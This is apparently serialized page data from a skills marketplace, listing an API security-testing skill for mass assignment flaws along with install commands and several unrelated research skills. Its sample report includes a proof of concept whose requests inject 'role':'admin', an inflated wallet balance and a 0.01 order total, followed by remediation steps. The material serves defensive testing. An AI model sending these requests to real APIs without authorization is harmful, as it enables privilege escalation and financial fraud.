elevate their role to admin, bypass email verification,\nmodify wallet balances, and manipulate order pricing.\n\n**Proof of Concept**:\n1. Register with injected role:\n   POST \u002Fapi\u002Fv1\u002Fregister\n   {\"name\":\"Attacker\",\"email\":\"attacker@evil.com\",\"password\":\"P@ss123!\",\"role\":\"admin\"}\n   Response: {\"id\":5001,\"name\":\"Attacker\",\"role\":\"admin\",\"is_verified\":false}\n\n2. Update profile with injected balance:\n   PUT \u002Fapi\u002Fv1\u002Fusers\u002Fme\n   {\"name\":\"Attacker\",\"balance\":99999.99}\n   Response: {\"id\":5001,\"balance\":99999.99}\n\n3. Create order with manipulated price:\n   POST \u002Fapi\u002Fv1\u002Forders\n   {\"items\":[{\"product_id\":42,\"qty\":1}],\"total\":0.01}\n   Response: {\"order_id\":8001,\"total\":0.01}\n\n**Impact**:\nAny user can gain administrative access, manipulate financial data,\nbypass security controls, and purchase products at arbitrary prices.\n\n**Remediation**:\n1. Implement DTOs\u002Finput schemas that explicitly define allowed fields per endpoint per role\n2. Use framework-specific mass assignment protection (Rails: strong parameters, Django: serializer fields)\n3. Never bind request parameters directly to the data model\n4. Add integration tests that verify undocumented fields are rejected\n5. Use an allowlist approach rather than blocklist for writable fields\n```\n",{"name":5,"tags":24,"author":30,"domain":31,"license":14,"version":32,"nist_csf":33,"subdomain":25,"description":38,"mitre_attack":39},[25,26,27,28,29],"api-security","owasp","mass-assignment","auto-binding","parameter-tampering","mahipal","cybersecurity","1.0.0",[34,35,36,37],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","Tests APIs for mass assignment (auto-binding), OWASP API3:2023, by identifying writable endpoints, adding undocumented fields to request bodies (role, isAdmin, price, balance), and checking whether the server binds them to the data model without filtering. Use when testing an API for mass assignment, parameter binding abuse, or over-posting on profile, registration, or object-creation endpoints.\n",[40,41,42,43,44],"T1190","T1059.007","T1552.001","T0816","T0836","main","1eb986d0b0ecc180291597e08eb5a58288843536","skills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Ftesting-api-for-mass-assignment-vulnerability","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv","2026-08-25 13:16:33",{"source":8,"skillName":5,"commands":52,"prompt":62,"zipAvailable":63},[53,56,59],{"tool":54,"command":55},"npx","npx skills add vikasvardhanv\u002Fjerry_skills --skill testing-api-for-mass-assignment-vulnerability",{"tool":57,"command":58},"bunx","bunx skills add vikasvardhanv\u002Fjerry_skills --skill testing-api-for-mass-assignment-vulnerability",{"tool":60,"command":61},"pnpm","pnpm dlx skills add vikasvardhanv\u002Fjerry_skills --skill testing-api-for-mass-assignment-vulnerability","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Ftesting-api-for-mass-assignment-vulnerability\u002FSKILL.md",true,[65,69,75],{"path":66,"resourceType":66,"resourceTypeDesc":67,"sizeBytes":68,"sourceHtmlUrl":15},"LICENSE","许可证",11255,{"path":70,"resourceType":71,"resourceTypeDesc":72,"sizeBytes":73,"sourceHtmlUrl":74},"references\u002Fapi-reference.md","REFERENCE","参考文档",1854,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Ftesting-api-for-mass-assignment-vulnerability\u002Freferences\u002Fapi-reference.md",{"path":76,"resourceType":77,"resourceTypeDesc":78,"sizeBytes":79,"sourceHtmlUrl":80},"scripts\u002Fagent.py","SCRIPT","脚本",8168,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Ftesting-api-for-mass-assignment-vulnerability\u002Fscripts\u002Fagent.py",[82,90,97,104,111,118],{"skillNo":83,"name":84,"nameZh":6,"description":85,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":86,"licenseFileUrl":6,"sourceHtmlUrl":87,"categories":88,"keywords":89,"publishedAt":19},"01M7BESR1CJ3H5SP9XM8KYJZ9W","syllabus","Generates a curated supplementary reading list from any course syllabus using Consensus academic search. Grill-me intake (syllabus input format + course audience + year range) plus a grouping forcing-options checkpoint before any search runs — so the reading list matches the course's level and recency need. Parses the syllabus to extract topics and learning outcomes, searches Consensus for recent peer-reviewed papers per topic, and produces a professionally formatted .docx with clickable Consensus links, plain-language summaries calibrated to audience level, and Bloom-higher-order discussion questions tied to course learning goals. Use when the user uploads a syllabus, course outline, or curriculum document and wants supplementary readings (e.g., 'create a reading list from this syllabus', 'find recent papers for my course') — even casual mentions with a syllabus attached should trigger this skill.","MIT","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fsyllabus\u002Fskills\u002Fsyllabus\u002FSKILL.md",[],[],{"skillNo":91,"name":92,"nameZh":6,"description":93,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":86,"licenseFileUrl":6,"sourceHtmlUrl":94,"categories":95,"keywords":96,"publishedAt":19},"01M7BES1YA6R97W7QPMFFM1PED","pulse","Multi-source recency research skill that takes the pulse of any topic across Reddit, Hacker News, the open web, and optionally X\u002FTwitter within a configurable recent window (default 30 days). Forcing intake clarifies topic specificity, angle (trend\u002Fsentiment\u002Fproblems\u002Fopportunities\u002Fcomparison), time window, and platform scope before searching. Returns a synthesized briefing with citations, engagement metrics, and cross-platform pattern analysis. Use when the user requests multi-source recency intelligence on a topic (e.g., 'pulse on [topic]', 'what's happening with [topic]', 'what are people saying about [topic]', 'current conversation about [topic]', 'take the pulse of [topic]', 'trending: [topic]', 'find me info on [topic]'), and for competitor research, trend discovery, tool comparisons, and audience sentiment analysis.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fpulse\u002Fskills\u002Fpulse\u002FSKILL.md",[],[],{"skillNo":98,"name":99,"nameZh":6,"description":100,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":86,"licenseFileUrl":6,"sourceHtmlUrl":101,"categories":102,"keywords":103,"publishedAt":19},"01M7BERNHYGY035AR00VRT03KE","patent","Patent prior-art and landscape intelligence skill — not generic patent help. Commits to one of five sub-use-cases via forcing intake (novelty search \u002F freedom-to-operate \u002F competitive landscape \u002F acquisition diligence \u002F litigation prior-art) before any search runs. Searches Google Patents, Espacenet, USPTO, and optionally Lens.org for citation-graph signals. Output is an editable Word document (.docx) with verdict, ranked closest art (claim-text extracted), CPC-class-aware landscape, family-resolved hits, geographic coverage, FTO flags where applicable, strategy recommendations, and full audit log. Use when the user asks for patent searching or analysis (e.g., 'prior art search for [invention]', 'freedom to operate analysis for [product]'). Produces search signal, not legal advice — always recommends consulting a patent attorney before filing or licensing decisions. Trademark, copyright, and trade-secret questions are out of scope.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fpatent\u002Fskills\u002Fpatent\u002FSKILL.md",[],[],{"skillNo":105,"name":106,"nameZh":6,"description":107,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":86,"licenseFileUrl":6,"sourceHtmlUrl":108,"categories":109,"keywords":110,"publishedAt":19},"01M7BERCK1EAKTWW7R436WAR0J","notebooklm","Browser automation skill for controlling Google's NotebookLM. Use when the user wants anything done in NotebookLM (e.g., 'open NotebookLM', 'check my [name] notebook', 'ask my notebook about X', 'add [source] to NotebookLM', 'generate a Video Overview from my notebook', 'use NotebookLM Studio'). Handles reading and querying notebooks, adding sources (URLs, text, files, YouTube links, synthesized content), generating Studio outputs (Audio\u002FVideo Overviews, Mind Maps, Reports incl. Briefing Doc\u002FStudy Guide\u002FFAQ, Flashcards, Quiz, slide decks, infographics — discover the exact set from the live Studio panel; the UI evolves fast), and creating new notebooks. Requires browser automation environment — fails gracefully when unavailable.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fnotebooklm\u002Fskills\u002Fnotebooklm\u002FSKILL.md",[],[],{"skillNo":112,"name":113,"nameZh":6,"description":114,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":86,"licenseFileUrl":6,"sourceHtmlUrl":115,"categories":116,"keywords":117,"publishedAt":19},"01M7BEQZAZAQRTXFJRY7RHV3TY","litreview","Academic literature orientation skill that searches papers via free keyless APIs (PubMed E-utilities + OpenAlex) by default — with the Consensus MCP as an optional enhancement lane when connected — builds a strategic search plan using PICO (default) or SPIDER \u002F Decomposition \u002F hybrid as fallbacks, and synthesizes findings into a formatted Word (.docx) research guide. Grill-me intake (research question specificity + framework hint + tentative depth) before the recon search; a second forcing checkpoint after Phase 2 confirms framework + sub-areas + depth before searches consume budget. Configurable depth (5\u002F10\u002F20 queries) controls coverage vs. speed. Output is a 'launching pad' — an orientation guide that lets a researcher dive in confidently, not a finished review. Use when the user starts literature-oriented research (e.g., 'litreview on [topic]', 'literature review on [topic]', 'I'm starting a literature review on X', 'I'm writing a paper on X', 'help me research X', 'I'm doing research on X', 'can you help me research X'). Do NOT use for single one-off paper searches wanting a quick list — that's a plain PubMed\u002FOpenAlex (or Consensus) query.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Flitreview\u002Fskills\u002Flitreview\u002FSKILL.md",[],[],{"skillNo":119,"name":120,"nameZh":6,"description":121,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":86,"licenseFileUrl":6,"sourceHtmlUrl":122,"categories":123,"keywords":124,"publishedAt":19},"01M7BEQKJ45K31QK5VRAQSVJCJ","grants","NIH grant research skill for clinical researchers. Grill-me intake (research idea + career stage + preliminary data + environment + submission posture + known institute targets) locks down the funding strategy before any search runs. Runs a 5-facet Consensus positioning analysis (with draft Significance\u002FInnovation language), maps the research to the right NIH institutes and study sections via RePORTER, finds NOSIs and funded overlap, and produces an editable Word document (.docx) with budget\u002Fscope-aware mechanism recommendations, submission timelines, and a mandatory program officer recommendation. Use when the user asks about research funding or makes any grant-related request (e.g., 'grants for [topic]', 'find grants for my research idea', 'what grants match my research', 'help me find NIH funding', 'grant opportunities for my research'). NIH-only scope — non-NIH funders (PCORI, DOD CDMRP, VA, foundations) are out of scope and flagged at intake.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fgrants\u002Fskills\u002Fgrants\u002FSKILL.md",[],[]]